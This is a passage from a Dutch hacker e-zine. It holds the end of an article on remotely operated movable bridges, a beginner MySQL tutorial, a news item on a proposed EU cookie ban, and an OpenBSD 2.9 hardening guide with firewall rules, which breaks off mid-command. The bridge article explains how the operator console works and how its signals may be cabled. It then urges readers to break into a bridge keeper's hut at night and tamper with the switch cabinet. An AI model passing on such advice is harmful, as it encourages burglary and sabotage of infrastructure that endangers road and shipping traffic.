kijkt als je een ab brug bedient; anders start de pc niet op). btw je krijgt beeld op je werkscherm van een aantal zwart/wit cameras (voor de echte hobbiisten die dingen 'zien' ook infra-rood dus ook als het donker is, 150 piek investeren in een bewakingscam, op je pc pluggen en je heb geen supergeile nachtkijker meer nodig) bij de ab-brug, zodat de het weg- en vaarverkeer ook kan zien. In mijn geval 4 camerabeelden op een 15" scherm gepropt, het water links en rechts en de weg, ene kant ander kant. je kan wisselen tussen de verschillende ab bruggen door, je raad het al, op knopjes te drukken :-) Knopje van brug x indrukken en je werkscherm wordt leeg ander knopje van brug y indrukken en je krijgt het beeld van brug y op je schermpje, tata Goed de pc staat aan je ab brug staat op de werkscherm en dan..... naast je werkschem, staat het schem van het graf.dos prog. met daarop een weergave van de brug, dezelfde brug als je werkscherm. Om de abbrug te bedienen gaan we, jewel, op knopjes douwen. Er zijn drie setjes knoppen, een om de brug op je werkschermen te veranderen, een om de brug mee open en dicht te laten gaan en een voor de rest; scheepsvaart seinen (verkeerslichten), foutmeldingen in de brug opvragen, lampjes van de knopjes testen en nog wat knopjes die niet aan gesloten waren Eerst de verkeerslichten voor de schepen goed zetten, groen voor links of rechts, anders doet i gewoon helemaal niets. dan naar het ander setje knopjes: knopje 1; de slagbomen laten zakken (weg-verkeerslichten gaan automatisch), als die helemaal naar beneden zijn, knopje 2; brug omhoog, wachten tot de brug helemaal open is of op knopje 4; stop douwen, dan knopje 3; brug dicht, het dek gaat weer omlaag, slagbomen open, stoplichten uit. en voor de sier nog ff de lichten voor de schepen weer op rood zetten. ik heb ff zitten nadenken over hoe de het signaal van het brugwachtershuisje naar de ab brug gaat en de beelden van de cameras (soms ook ab, de cameras, niet allemaal :-)) ). Het waarschijnlijkst is een aparte kabel, helaas. Maar dit weet ik niet zeker... Wel een duur geintje voor bruggen die 10 km verderop liggen, er is nog hoop. Alternatieven zijn de kpn (overheid he bruggen)(gemeente/provincie/rijk, staat op de brug bij de naam van de brug). dwz voor de bediening van de brug, ik weet vrij zeker dat wij het camarasignaal analoog binnenkregen. Kabel kan natuurlijk ook (regio casema :P). dr schiet me verder niet zoveel meer te binnen over ab bruggen. (oja, hele nieuwe ab bruggen zullen wel een win/nt systeem draaien) (oja2, het telefoonnummer van de bruggen staat in het telefoon boek en in de watersport almanakken) sja, als je tot hier bent gekomen vind je ab bruggen leuk ;-) De makkelijkste manier om meer te weten te komen is een keertje langswandelen bij de lokale brugwachter. Het zijn lieve mensen hoor. Ze zijn, zeker swinters de hele dag alleen, de pleziervaart ligt dan stil en ze moeten misschien 10 keer een brug bedienen in een dienst van 8 uur (hmm, 10x 5 min, met een half oog naar naar een schermpje kijken en op wat knopjes douwen) en zeven uur voor je uit staren. Als er weinig verkeer is (goede brug uitzoeken) laten ze hem met plezier een keertje voor je draaien (open maken en weer dicht doen). Je krijgt met een beetje mzzl een lekkere bak koffie en een koekje, en je heb alle tijd om te kijken welk knopje wat doet. Verwacht geen diepzinnige gesprekken, behalve over voetbal, het weer, volkstuintjes en lokale helden (oud brugwachters?). Ipv hacken kan je natuurlijk ook gewoon ff inbreken (hmm, doe maar een grote hand-brug). Veel bruggen worden of maar heel weinig gebruikt, wel eentje kiezen die het nog doet. En uit de buurt blijven van junks die vinden bruggen ook leuk. Je tikt snachts een raampje in van het brugwachtershuisje, als er niet iets openstaat, en je gaat lekker kloten met de schakel kast. Je weet nu hoe het fenomeen brug werkt. Of bij een abbrug eens uitzoeken waar al die kabels naar toe gaan? mzzl ----------------------- sja plaatje knutselen moet een schemaatje zijn van land en water weg met verkeerslichten e.d. bijlage 1 (land)weg | | 0| |0 0| |0 stoplichten voor landverkeer (gewoon rood/oranje/groen) 0| |0 ---------- slagboom ---------------------------------------------- (water)weg 000| |000 scheepsvaart seinen (rood/groen/rood), dubbel rood=brug buiten gebruik | | enkel rood=brug in gebruik maar dicht, rood/groen=brug aan het opengaan | | groen=brug maximaal geopend | brug | | -dek | 000| |000 ------------------------------------------------- ----------- slagboom 0| |0 0| |0 0| |0 | | ------------------------------------------------------- 11. Beginnen met MySql ------------------------------------------------------- Ik zat te twijfelen of ik eerst iets moest schrijven over een PHP-script dat een database aanstuurd of eerst iets over mysql. Maar ja wat heb je aan een PHP database script als je geen database hebt om aan te sturen:) Dus is de keus toch maar geworden om eerst maar wat over mysql te schrijven. Kun je alvast wat kloten met een database. Wat is mysql? Belangrijke vraag want het is altijd fijn om te weten waar je mee bezig bent. Mysql is een van de snelste Sql (Structured Query Language) databases. En waarom is het zo populair niet alleen omdat het snel is maar ook omdat het GRATIS is. Een niet onbelangrijk detail. Verder kan mysql een onbeperkt aantal users verwerken waar ook wel fijn is op een druk bezochte site. Daarbij (mits efficient ingericht) kan het werkt het bij meer dan 50 miljoen records nog bloedje snel . Reden genoeg om het eens wat van naderbij te bekijken. Installatie De installatie zal ik hier kort behandelen ik ga er vanuit dat je genoeg kennis hebt om een programma te kunnen compileren en anders is daar nog altijd de install file. Ik ga d'r hierbij vanuit dat je een linuxbak hebt een voor root kunt c.q. mag spelen en mysql nog niet geinstalleerd hebt. Als je dat niet weet dan moet je typen 'locate mysql'. Maar goed je kunt mysql downloaden van www.mysql.com. Als het bestand op de hardeschijf staat moet je het uitpakken (duh). Je kunt met een commando in een console maar ik gebruik atlijd karchiveur (kun je vinden op www.tucows.com). Ik gebruikt hier voor de veranderng maar de console. linux:% # tar xzf mysql.file.tar.gz linux:% # cd mysql* //dat sterretje is ervoor zodat linux zelf het versie nummer enz. toevoegd lekker makkelijk // linux:% # ./configure --prefix==/usr/local/mysql //dir waar mysql wordt neergezet// linux:% # make linux:% # make install Nog even je bent bijna klaar. We moeten alleen nog maar de standaard mysql tables te installeren en dan kunnen we beginnen. Ga naar de directory die je achter de prefix hebt ingevuld in dit geval /usr/local/mysql Daar typen we linux:% # cd bin of cd scripts //ligt aan de versie, moet je ff kijken welke van de 2 bestaat// linux:% # mysql_install_db Dan nog een root password. Denk eraan dat dit volledig lost staat van het root paswoord van je linux systeem. Je moet er net zo voorzichtig mee omgaan als met je 'gewoon' root paswoord. Het instellen gaat als volgt. linux:% # mysqladmin -u root password 'je password' linux:% # safe_mysqld& Met het laatste commando start je de database. Als je dat niet niet doet krijg je een error dat hij de lokal sql server niet kan vinden dan moet je dus eerst safe_mysqld& uitvoeren voordat hij het doet. Maar goed mysql is geinstalleerd. SQL. Voor degene die niet weten hoe een database werkt leg ik het hier even kort maar hopelijk duidelijk uit. Het is heel simpel. Je hebt een bak met kaartjes bijvoorbeeld dat ding dat op je bureau staan waar telefoonnummers inzitten. Dat hele bakje noem je in SQL database. Het kaartje dat erin zit noem je een table. Op die kaartje staat een naam telefoonnummer of het werk en prive is enz. In SQL bestaat het kaartje columns (kolommen) en rijen (rows) in de columns en rows staan de daadwerkelijke gegevens zoals het telefoonnummer dat wordt een record genoemd. Een record is niks anders dan een stukje informatie. De informatie in de record wordt aangeduid met verschillende types. Dit is de basis van de database. Databases die zo zijn opgebouwd noemen we Relational Database Managment System. Om in te loggen type je mysql -u root -p en daarna je password. We zijn nu ingelogd. Type maar eens een ? achter de prompt je zit dan een zooi commando's die je kunt gebruiken. Een aantal komen aan bod in deze tutorial de rest komt later nog wel eens. Je kunt er gerust mee experimenteren het enige wat er kan gebeur is dat mysql in de soep draait:). Type maar eens \s (status) Je krijgt dan verschillende gegevens over de server te zin. Misschien handig om te begrijpen wat je aan het doen bent. Tijd om een database te maken. mysql > CREATE DATABASE telefoon_bak; //hoofdletters niet verplicht// Query OK, 1 row affected (0.00 sec) mysql> USE telefoon_bak; Let op de ; net zoals programeertalen vereist sql ook de ; De database (bak) is gemaakt. Nou nog de kaartjes mysql >CREATE TABLE persoon ( >algemeenID INT(11), >voornaam VARCHAR(10), >achternaam VARCHAR(15)); Query OK, 0 rows affected (0.05sec) Het eerste kaartje staat erin. Ik zal eerst uitleggen wat er gebeurd is. Ik heb een table gemaakt met als naam persoon. In de table staan columns met de namen algemeenID, voornaam, achternaam. INT VARCHAR(10), VARCHAR(15) zijn datatypes die mysql gebruikt om de voornamen en achternamen op te staal hieronder staan de belangrijkste genoemd. Er zijn er veel meer kijk voor meer info in de manual van MySQL. AlgemeenID verdient speciale aandacht. Eigenlijk is dat het fundamentele van een database. Aan de algemene ID wordt een waarde toegekend. Je zult die waarde op andere records ook terug vinden. De database kan zo gegevens van verschillende tables bij elkaar zetten als daar door een zoekstring om gevraag wordt. Numerieke column datatypes INT; integers zijn gehele getallen van -2147483648 tot 2147483647 INT kun je onderverdelen in TINYINT; integers van -128 tot 127 SMALLINT; integers van -32768 tot 32767 MEDIUMINT; integers van -8388608 tot 8388607 en BIGINT; integers van heel klein tot heel groot komt bijna niet voor:) FLOAT(n.d) getal met n getallen voor de punt en d getallen achter de punt String column datatypes CHAR(n); vaste string van lengte n VARCHAR(n); variable string van lengte n. Wordt vooral gebruikt om diskspace te besparen Type nu mysql> show tables; Je krijgt nu de tables te zien die aanwezig zijn in onze database mysql> show columns from persoon; Je krijgt nu te zien wat je hebt ingevuld bij CREATE TABLE () In columns Extra kun je ook nog allerlei 'geavanceerde' opties toevoegen maar op te beginnen laten we dat achterwegen misschien dat ik er de volgende keer (als die komt) wat meer over vertel Tijd om wat in te gaan vullen mysql> INSERT INTO persoon(algemeenID, voornaam, achternaam) VALUES ('1',' Klaas', 'Jansen'); mysql>SELECT * FROM persoon; In table staan nu waarde. Om een beetje te experimenteren moet je eens proberen om een voornaam langer dan 10 letters in te voeren. Maar we willen natuurlijk ook het telefoonnummer, huisadres, postcode wegen. Daar gaan we nu voor zorgen mysql> CREATE TABLE adres( >algemeenID INT(11) >telefoonnummer INT(10), >adres VARCHAR(20), >postcode VARCHAR(7), >plaats VARCHAR(30)); Wat gegevens erin droppen mysql>INSERT INTO adres (algemeenID, telefoonnummer, adres, postcode, plaats) VALUES >('1', '0659487362', 'mysqllaan 5', '2345 MY', 'Amsterdam'); mysql> SELECT * FROM adres; En je krijgt de waarde te zien die je hebt ingevuld. Gefeliciteerd je eerst databasje is een feit. Je ziet het het is heel simpel. De beginselen dan. Om een goede database te maken die snel is zonder verloren gegevens is een hele andere opgaven. Het voorbeeld is niet echt praktisch maar je snapt hopelijk wel wat de bedoeling is en hoe het werkt. Ik vind het zo wel weer genoeg. Ik hoop dat je er wat aan gehad hebt. Als je meer over mysql wilt weten of nog een vervolg wilt waar ik wat dieper erop inga misschien in combinatie met php moet je ff een mailjte sturen naar artikel@sanderink.org. Als je databases en php combineert kun je hele leuke dingen doen. Je kunt pagina's automatisch laten aanpassen als je iets in de database veranderd. greetz, coen666 Overnemen mag als je de bron maar vermeld. Gebruikte bronnen: www.devshed.com/Server_Side/MySQL/Intro/print.html www.linuxmag.nl (artikel over sql) ------------------------------------------------------- 12. Kort. ------------------------------------------------------- Kort is een nieuw terugkomend item in H4H, In dit deel bespreken wij nieuwtjes op het gebied van security, artikeltjes die wij tegen kwamen in de ICT vakbladen, forums e.d. Natuurlijk mogen lezers ook stukjes aandragen, dat kan naar het standaard adres voor artikelen artikel@hackers4hackers.org. -- ‘Red de cookies’ Cookies hebben het aureool van spionagesoftware gekregen… De Nederlandse Europarlementariër Wim van Velzen wil cookies uitbannen. Hiertegen loopt het Interactieve Advertising Bureau te hoop. “Verbanning van cookies geeft onze branche een flinke dreun”, verklaart Ruud Wanck, vice-voorzitter van IAB-Nederland, de campagne. Van Velzen (CDA) heeft een amendement ingediend op het voorstel van de Europese Commissie over per­soonsbescherming. Zijn suggestie cookies te verbannen komt 13 november aan de orde in de EC. Cookies zijn een regel in een tekst­bestand, aangemaakt door een webser­ver, waarin allerlei gegevens over het bezoek van een surfer zijn opgeno­men, zoals een identificatienummer, adres, platform en surfprogramma. Het doel ervan is webbezoek persoon­lijk te maken en te versnellen. Van Vel­zen meent dat cookies “een serieuze inbreuk kunnen veroorzaken op de persoonsbescherming van gebruikers. Het gebruik van dergelijke program­matuur zou verboden moeten worden, tenzij de expliciete, goed geïnformeerde en vrijelijk gegeven toestemming van de betrokken gebruikers is verkre­gen”. Dit laatste staat bekend als de opt-in opvatting. Regelen IAB meent dat cookies ten onrechte in politieke kringen het aureool van spionagesoftware hebben gekregen. “Een verbod op cookies is hetzelfde als het verbieden van huisnummers op woningen. Cookies doen niets geheim­zinnigs” stelt Wanck. De IAB vice-voorzitter erkent dat sommige cookies persoonlijke gege­vens en surfgedrag meedragen. “Maar dan moet je richtlijnen opstellen waar­in staat welke informatie ze mogen bevatten. Om ze meteen te verbieden is voor ons een stap te ver. We gaan zelf dergelijke richtlijnen opstellen nu dit onderwerp actueel is geworden.” Overigens moet de EC zich wel over deze zaak buigen omdat er geen een­duidige aanpak is in Europa. In Duits­land bijvoorbeeld, zo weet Wanck, is het gebruik van cookies verboden. Hier geldt een opt-in regeling. In Neder­land zou de Wet Bescherming Per­soonsgegevens op dit vlak aangepast moeten worden. IAB heeft deze week vergaderd om een gezamenlijk standpunt te formuleren. De organisatie heeft diverse Europese afdelingen. Vooral de Britse IAB-tak heeft de handschoen opgepakt en de campagne ‘Save our cookies’ gelanceerd. Zij heeft becijferd dat de ‘Van Velzen-optie’ 187 miljoen Engelse pond verlies oplevert binnen de Engelse internetadverten­tiemarkt. Men gebruikt cookies name­lijk ook om na te gaan of bepaalde webadvertenties (of pagina’s waar ze op staan) worden bezocht. Tevens kun­nen cookies persoonlijke informatie bevatten die is te gebruiken om te be­oordelen of een bepaalde advertentie al dan niet aan een surfer wordt gepre­senteerd. Verder zijn ze bruikbaar om ervoor te zorgen dat surfers maar één keer per dag dezelfde advertentie te zien krijgen als ze meerdere keren de­zelfde webstek aandoen. Banen De Nederlandse tak van de belan­genorganisatie heeft niet becijferd hoeveel geld en banen een mogelijk verbod op cookies hier gaat kosten. “Wel is duidelijk dat het een flinke dreun zal zijn”, meldt Wanck. De opt-in regeling die Van Velzen voorstaat kan niet rekenen op de sympathie van IAB. De groep is bang dat gebruikers dan iede­re keer als ze een website bezoeken zich opnieuw moeten registreren of hun voorkeuren steeds weer moeten ingeven. Tegelijk toept zij bet schrik­beeld op van een bombardement met berichten die om toestemming vragen. In het ergste geval moeten surfers be­talen voor informatie omdat de advertentie inkomstenbron is opgedroogd. Overigens voorzien de meeste brow­sers in de mogelijkheid cookies ‘uit te zetten’. De discussie over cookies is mede actueel door Microsofts .Net-stra­tegie, die Passport als middel wil gebruiken om een eenmalige aanmeld­procedure op het web mogelijk te maken. (Bron: http://www.securitydatabase.net) ------------------------------------------------------- 13. Securing OpenBSD 2.9 ------------------------------------------------------- Het is mischien raadzaam om eerst dit alles op je gemak door te lezen alvorens je iets gaat doen. Een test bak (een systeem dat nog geen functie heeft in je netwerk) gebruiken is "zeer" raadzaam, zeker als je nog nooit een OpenBSD kernel hebt gebakken, oefen eerst een paar keer het kernel bak\config proces." Ga het alleen gebruiken waar het goed voor is. Wil je een unix variant gaan gebruiken voor als workstation zie: http://www.linux.org, http:/www.freebsd.org of http://www.sun.com. Ik ga ervan uit dat je weet: Hoe je een OpenBSD systeem moet opzetten\installen Dat je weet hoe je nic's te configen if not: http://www.openbsd.org/faq/ Ik ga ervan uit dat je hebt: Een snelle netwerk connectie met het internet (we gaan de patch branch sources aka stable sources downloaden) Een beetje snelle hardware, kernel bakken moet echt niet langer duren dan 10min. langer = ergenis, een make world doen met een 200mhz cpu zuigt ook big time. Dit alles lijkt mischien allemaal veel werk om je OpenBSD doos te securen, toch is dit voor de BSD UNIX freak\admin de normaalste zaak v/d wereld. Nu we de basic blaat hebben gehad wordt het maar tijd dat we gaan beginnen, je hebt dus nodig een default OpenBSD 2.9 base, hoe je die base wilt installen maakt niet echt uit, cdrom\ftp\http\nfs, het komt toch uiteindelijk op de zelfde 2.9 base neer waar mee je aan de slag moet gaan, na een make build aka make world van de stable sources (patch branch) zie je toch het verschil niet meer. Nadat je OpenBSD 2.9 hebt geinstalled halen we direkt de doos offline van het net. # ifconfig down We zijn paranoia, we halen de UTP kabel er ook uit. "Secure by default" quote gaan we niet in mee, je moet hem zelf securen, en niet ervan uitgaan "by default" dat je fresh installed OpenBSD based systeem daadwerkelijk secure is. OpenBSD houdt bij een ifconfig nic down deels de nic toch active. # netstat -an Dat ziet er helemaal niet secure uit "by default". # kill -9 `sed 1q /var/run/inetd.pid` # find / -perm -4000 -print > default-perms.txt # ls -l `cat default-perms.txt`|less Houston we have a problem. # ifconfig -a fuck, dit zijn wel heel erg veel soorten netwerk interfaces, de meeste stuff ga je mischien toch nooit gebruiken, we komen hier op terug als we de kernel gaan configen. BACKUP!!! Alles wat je van plan bent om te configen of te veranderen in je OpenBSD doos, maak er een backup van. WEG = WEG # mkdir ~/bak;cp /etc/rc.conf ~/bak/;cp /etc/inetd.conf ~/bak/ Je zouw zeggen dat een BSD variant met Security in mind al "by default" het systeem immutable flag: # chflags schg /bsd Al heeft by default op de kernel, Schoonheids foutje (by default) van het OpenBSD team? Straks na kernel compilen de system immutable flag weer verwijderen voor dat je probeert cp /usr/src/sys/arch/i386/compile/JOUWKERNEL/bsd /bsd Eerst dan weer: # chflags noschg /bsd Anders krijg je een blaat: /bsd: Operation not permitted err. # cat /dev/null > /etc/inetd.conf De volgende regels veranderen met vi in /etc/rc.conf: sshd_flags="NO" sendmail_flags="NO" httpd_flags="NO" portmap=NO identd_flags=NO inetd=NO Als de boven genoemde services op YES of op "YES" staan, dan dus naar NO of "NO" veranderen, er is een verschil tussen "YES" en YES, de flags van iets staan meestal tussen "trema's" en om dingen te starten tijdens startup is het gewoon zonder "trema's", het is simpel om hier in onderscheid te maken, maar het is ook simpel om snel hier een fout te maken, soms kom je er mee weg door perongeluk YES of NO tussen trema's te plaatsen of andersom je vergeet trema's, je merkt het vanzelf bij startup, direkt ingrijpen dan, het hoeft niet zo specifiek te wezen, maar kijk of het al ja\nee tussen "trema's" staat. Deze op YES zetten in /etc/rc.conf: ipfilter=YES We hebben iets van firewalling nodig, zowel zometeen als we de patch branch sources (Stable) gaan downloaden als voor er na. Een firewall is een belangrijk onderdeel van de algehele security van jouw OpenBSD systeem, zonder firewall ben je niks, alleen een firewall als enigste onderdeel van jouw security ben je ook niks. IPFILTER is een goeie firewall, er zullen ongetwijfeld wel betere commerciele op de markt zijn voor $cash, maar dat gaan we niet bespreken hier, we hebben een open source model UNIX bestuurings systeem, gratis dus. Edit /etc/ipf.rules met vi, maak hem eerst leeg: # cat /dev/null > /etc/ipf.rules # vi /etc/ipf.rules ------------------ < slash begin /etc/ipf.rules > ------------------ # kijk op http://www.securitydatabase.net voor how2's van IPFilter. # Je basic setje rules: # /etc/ipf.rules # $1 = jouw interface verbonden met het net b.v: ed0,ne0,rl0 etc.. pass out quick on lo0 pass in quick on lo0 block in quick all with ipopts block in quick all with short block in quick all with frag block in quick on $1 all with opt lsrr block in quick on $1 all with opt ssrr # Block nmap OS fingerprinting attemps, althans...probeer het tegen te # houden, de nieuwere versies van nmap weten het al in sommige situaties # te omzeilen, beter iets dan niets: block in quick proto tcp all flags FUP # http://www.3com.com/nsc/501302.html voor een kompleet overzicht van alle # niet te route adressen. block in quick on $1 from 0.0.0.0/32 to 0/0 block in quick on $1 from 255.255.255.255/32 to 0/0 block in quick on $1 from 192.168.0.0/16 to 0/0 block in quick on $1 from 172.16.0.0/12 to 0/0 block in quick on $1 from 127.0.0.0/8 to 0/0 block in quick on $1 from 10.0.0.0/8 to 0/0 block out quick on $1 from any to 127.0.0.1/8 block out quick on $1 from any to 192.168.0.0/16 block out quick on $1 from any to 172.16.0.0/12 block out quick on $1 from any to 10.0.0.0/8 # etc.... # aanvullen met de lijst niet te routen adressen op: # http://www.3com.com/nsc/501302.html # define stealth, we willen onzichtbaar zijn: block in quick on $1 proto icmp from any to any # in sommige gevallen moet je een paar types icmp door laten, we willen # eerst een basis hebben dus blocken we eerst alle icmp types. ########################################################################### # # Op deze plek in je ipf.rules moeten de rules komen die access geven aan # jouw services waar jij toegang aan wil gaan geven voor clients op het net, # NIET eerder, en NIET later, dit is de plek om ze neer te zetten i.v.m met # return-'s block rules, die rules zorgen ervoor dat niemand enige access # kan krijgen naar services die jij draait, als jij wilt dat clients jouw # web server moeten kunnen bereiken dan moet je dat nu HIER definen, anders # komen de return-rst's rules langs en die blocken dan weer access naar jouw # web server bijvoorbeeld. # Hier volgen een paar voorbeeld rules voor: # web(als aka httpd), dns(als aka bind), sshd(als aka sshd) en # mail(als aka sendmail\postfix, what ever) # Welke je van deze rules uiteindelijk ook wil gaan gebruiken uncomment ze pas # als je klaar bent met alles te patchen\upgraden. # voor nu, uncomment ze NIET, we moeten eerst nog de sources gaan downloaden # en alles nog gaan patchen\upgraden op z'n minst. # # Voorbeeld Webserver(httpd) rule: # pass in quick on $1 proto tcp from any to any port = 80 flags S keep state # # Voorbeeld Mailserver(smtp) rule: # pass in quick on $1 proto tcp from any to any port = 25 flags S keep state # # Voorbeeld DNSserver rules: # Als je zonetransfers wil toestaan: # pass in quick on $1 proto tcp from any to any port = 53 flags S keep state # Zonetransfers alleen toestaan aan 1 (meer kan jezelf adden) ip adres: # pass in quick on $1 proto tcp from 123.123.123.55/32 to any port = 53 flags S keep state # # Clients de gelegenheid geven om dns query's te doen op je dns server: # pass in quick on $1 proto udp from any to any port = 53 keep state # # We weten allemaal wel hoe buggy bind wel niet kan zijn, gelukig speelt # OpenBSD ook hier op in door een eigen variant van bind te onderhouden, # maar toch, alsnog, vanuit het oog punt van security, sta alleen toegang # toe aan je Clients in je eigen domein: # pass in quick on $1 proto udp from 123.123.123.0/24 to any port = 53 keep state # pass in quick on $1 proto udp from 123.123.124.0/24 to any port = 53 keep state # pass in quick on $1 proto udp from 123.123.125.0/24 to any port = 53 keep state # pass in quick on $1 proto udp from 123.123.126.0/24 to any port = 53 keep state # etc, etc.. je snapt hem wel. # # # Voorbeeld sshd server rules: # pass in quick on $1 from any to any port = 22 # # De rule hier boven is spelen met vuur, je geeft hier mee toegang aan je # sshd server aan iedereen op het net, je kan beter (again) vanuit het oog # punt van security alleen 1 domein access geven aan je sshd server, of zelfs # nog beter: alleen aan een paar vaste ip adressen: # ============================================================================ # pass in quick on $1 from 123.123.123.0/24 to any port = 22 # block in log quick on $1 from any to any port = 22 # nu mogen alleen clients in het segment 123.123.123.0-255 connecten met jouw # sshd server, derest wordt geblocked en geloged. # ============================================================================ # andere mogelijkheid: # ============================================================================ # pass in quick on $1 from 123.123.123.55/32 to any port = 22 # pass in quick on $1 from 123.123.123.177/32 to any port = 22 # block in log quick on $1 from any to any port = 22 # nu mogen alleen de ip's 123.123.123.55 en 123.123.123.177 connecten met jouw # sshd server, derest wordt weer geblocked en geloged. # ============================================================================ # # sshd kan je gebruiken in combinatie met tcp wrappers, vergeet dan niet de # ip's\domeinen die je access geeft via ipfilter dan ook te verwerken in je # /etc/hosts.allow. En dan inetd.conf en rc.conf updaten, als je sshd vanuit # inetd(.conf) gaat draaien, zet dan in rc.conf: # sshd_flags="NO" # op "NO" en: # inetd=YES # op YES zetten. # # # ==== STOP, vanaf dit punt niks meer toevoegen kwa services ==== # # # Wouw je toch nog wat adden doe dat dan VOOR deze 2 rules: # block return-rst in log quick on $1 proto tcp from any to any block return-icmp-as-dest(port-unr) in log quick on $1 proto udp from any to any # # We willen zelf ook nog wel kunnen connecten met het net: pass out quick on $1 proto tcp from any to any keep state pass out quick on $1 proto udp from any to any keep state pass out quick on $1 proto icmp from any to any keep state # What ever er nu nog door komt blocken en loggen: block in log quick on $1 all block in all # saven en sluiten. ------------------ < slash end /etc/ipf.rules > ---------------- Dit alles gebeurdt in de "ksh" shell (korn shell), de default csh shell is een pain in the ass om in te hacken, met ksh heb je command line completion, plus de eerder ingevoerde commands kan je easie net als in bash terug halen via toets, heb je het nog niet gedaan, doe het dan nu direkt. # chsh vi wordt gestart, edit de regel met "Shell" van: /bin/csh naar /bin/ksh saven done. # ksh plop, je zit in de ksh shell, mooi, dit werkt beter dan met de csh shell, houw het default, houw alle tools die je moet gebruiken in OpenBSD bij de default tools die standaard in de base zitten, download de package's van BASH en pico nu dus NIET, alle tools die je nodig hebt om een secure mogelijk OpenBSD based systeem te onderhouden zitten al in de base. Denk goed na iederekeer als je van plan bent iets te gaan installen, heb ik het nodig? Als ik het heb, komt mijn eigen security dan niet in gevaar? Kan ik er niet zonder, of denk ik zelf dat ik er niet zonder kan? Vragen die je telkens weer bij jezelf moet gaan afvragen. Kijk nadat je de sources hebt gedownload (komen we zometeen aantoe) wat je zoekt of het daar dan in zit, if not, vergeet het dan. Je eigen zelf discipline komt hier bij kijken. Voordat we de machine weer online gaan zetten moeten we nog een paar dingen bij langs. # echo "ALL: ALL" > /etc/hosts.deny;cat /dev/null > /etc/hosts.allow We pakken de lijst met default set uid's er even bij: # ls -l `cat default-perms.txt`|less Wat wil je uiteindelijk met jouw OpenBSD systeem doen? Denk even na over deze vraag. Crackers als ze ooit shell access weten te scoren in jouw systeem gaan in negen van de tien gevallen achter de files aan in "default-perms.txt", dus wat gaat het worden? Ben jij als admin de enigste gebruiker (lees BOFH :-) op jouw OpenBSD systeem ? if so: # chmod a-s `cat default-perms.txt` Note: Niet nu spontaan "default-perms.txt" rm'en, BACKUP! # mv default-perms.txt ~/bak/ Dit kan sommige procesen breken, als daemons\services die je later wil gaan draaien gaan bleren dat ze iets nu niet kunnen excecuten i.v.m met de file perms die je zojuist hebt veranderd, kijk dan in de logs\man\faqs\how2's van het geen in kwestie wat het nodig heeft om te kunnen functioneren en pak "default-perms.txt" er dan bij. Voor de admins voor wie de boven beschreven ingreep "te" extreem vinden, pak de default-perms.txt erbij en chmod a-s elke file naar gelangen en eigen inzicht naar het doel waar je de machine voor wil gaan gebruiken. # chmod 600 /var/log/* # vi /etc/rc.securelevel Verander de regel met: securelevel=1 tijdelijk naar: securelevel=3 # vi /etc/fstab Verander de regel met: /dev/wd** on /tmp ffs rw 1 2 naar: /dev/wd** on /tmp ffs nosuid,rw 1 2 /dev/wd** verschilt per systeem, bij de 1 is het /dev/wd1d bij de ander weer /dev/wd2f, de juiste voor jouw systeem staat er al. Heb je alleen 2 partities: "/" en een swap dan kan je deze stap skippen. Met dit moet je het maar eerst doen tijdens je sources op halen, reboot het syteem: # reboot of: # shutdown -r now /* voor de gebruikelijke manier. */ UTP\BNC kabel er weer in douwen\draaien. Systeem komt weer op, houw de boot\startup messages in de gaten, staan er fouten? fix het dan direkt in /etc/rc.conf en reboot, als ipf een err geeft fix it dan direkt in /etc/ipf.rules en reboot, is ipf uberhaupt wel gestart?: # ipfstat -io|less Als het goed is zie je nu de -i (in) en -o (out) rules die je hebt aangemaakt met de voorbeeld rules van deze guide, if not, fix it. IPFILTER debug: # ipfstat -t Je ziet niks gebeuren, kijk straks maar weer zodra je de sources gaat downloaden, als je wat ziet gebeuren is het omdat jij het toestaat in: /etc/ipf.rules Alles nu goed? volgende stap: # rm -fr /usr/src/* Moet leeg zijn. "Sources altijd ophalen via ssh." Kies dan ook een cvs server die ssh server ondersteund. Sources ophalen: # export CVS_RSH="/usr/bin/ssh" # export CVSROOT=anoncvs@anoncvs.be.openbsd.org:/cvs # cd /usr; cvs checkout -P -rOPENBSD_2_9 src anoncvs.be.openbsd.org is lekker snel. Extreme security maatregel: Neem om de zoveel tijd een andere anon-cvs server, je kan van te voren niet zien of de anon-cvs server gekraakt is, of de dns entry is veranderd naar een host van een cracker, met mischien als gevolg dat je trojans en backdoors aan het downzuigen bent. Er is hier nog niet zover ik weet melding over geweest dat dit daadwerkelijk ooit gebeurd is bij de cvs repository servers van OpenBSD op het net, het is aan jouw de keuze om deze beslising\stap te maken. Wat je altijd wel kan doen is via nslookup kijken naar de dns entry van bijvoorbeeld: anon-cvs.nl.openbsd.org en dan kijken of dat een vertrouwde plek is om je sources vandaan te halen is, uiteindelijk op ip adres ook nog een host of dig doen om zeker te zijn, gevolgd door een traceroute. shit happends, er worden dagelijks vele servers gekraakt op het net, beetje gezonde paranoia moet kunnen. Stel je krijgt via security-anounce mail lijst van OpenBSD nadat je de sources al binnen hebt gehaald de eerste keer, een melding dat 1 van services lek is, waardoor Crackers als ze shell access weten te scoren in jouw systeem door kunnen hacken naar --> root, dan heb je een probleem, het OpenBSD security team maakt binnen een uur tijd van de aangemelde\gevonden bug een source patch en released die dan de wereld in binnen 1 a 24uur via hun web site en via de cvs servers instantly, zo gauw als jij denkt: "Fuck" (ook als is het alleen locale) kan je al via cvs de source patch downloaden en automagisch invoeren in jouw sources in /usr/src en de instructies verwerven van hun site op http://www.openbsd.org/errata.html hoe de buggy services of shell\systeem tool opnieuw te installen\upgraden\patchen. Je sources wil je direkt na melding up2date hebben: # export CVS_RSH="/usr/bin/ssh" # export CVSROOT=anoncvs@anoncvs.nl.openbsd.org:/cvs # cd /usr/src # cvs -q up -rOPENBSD_2_9 -Pd CVS tool update nu je sources, je ziet binnen een paar minuten de nieuwe sources van de buggy lib\tool\services binnen komen, dit proces hoef je niet alleen te doen wanneer er iets een bug heeft, je kan dit proces dagelijks doen of op een vaste dag in de week. Aan de patch branch sources wordt continue gewerkt en verbeterd, dus als je morgen je patch branch sources update dan kan er al een verbetering\verandering in zijn doorgevoerd. nadat we de sources hebben gedownload en nog voor dat we er iets mee gaan doen maken we een tar bal van alle sources in /usr/src # cd /usr/local/source;tar cvf source_patch_branch_2.9.tar /usr/src/ Na het maken van de tar bal doe een: # du -h source_patch_branch_2.9.tar 345M source_patch_branch_2.9.tar Deze output verschilt mischien met een paar mb's van wat jij hebt, de patch branch (stable) zit nooit stil, dus als jij een tar bal bijvoorbeeld in augustus gaat maken van /usr/src dan kan ie' groter wezen of kleiner dan in bijvoorbeeld in oktober Download direkt alle patches van OBSD 2.9 in een tar bal # ftp 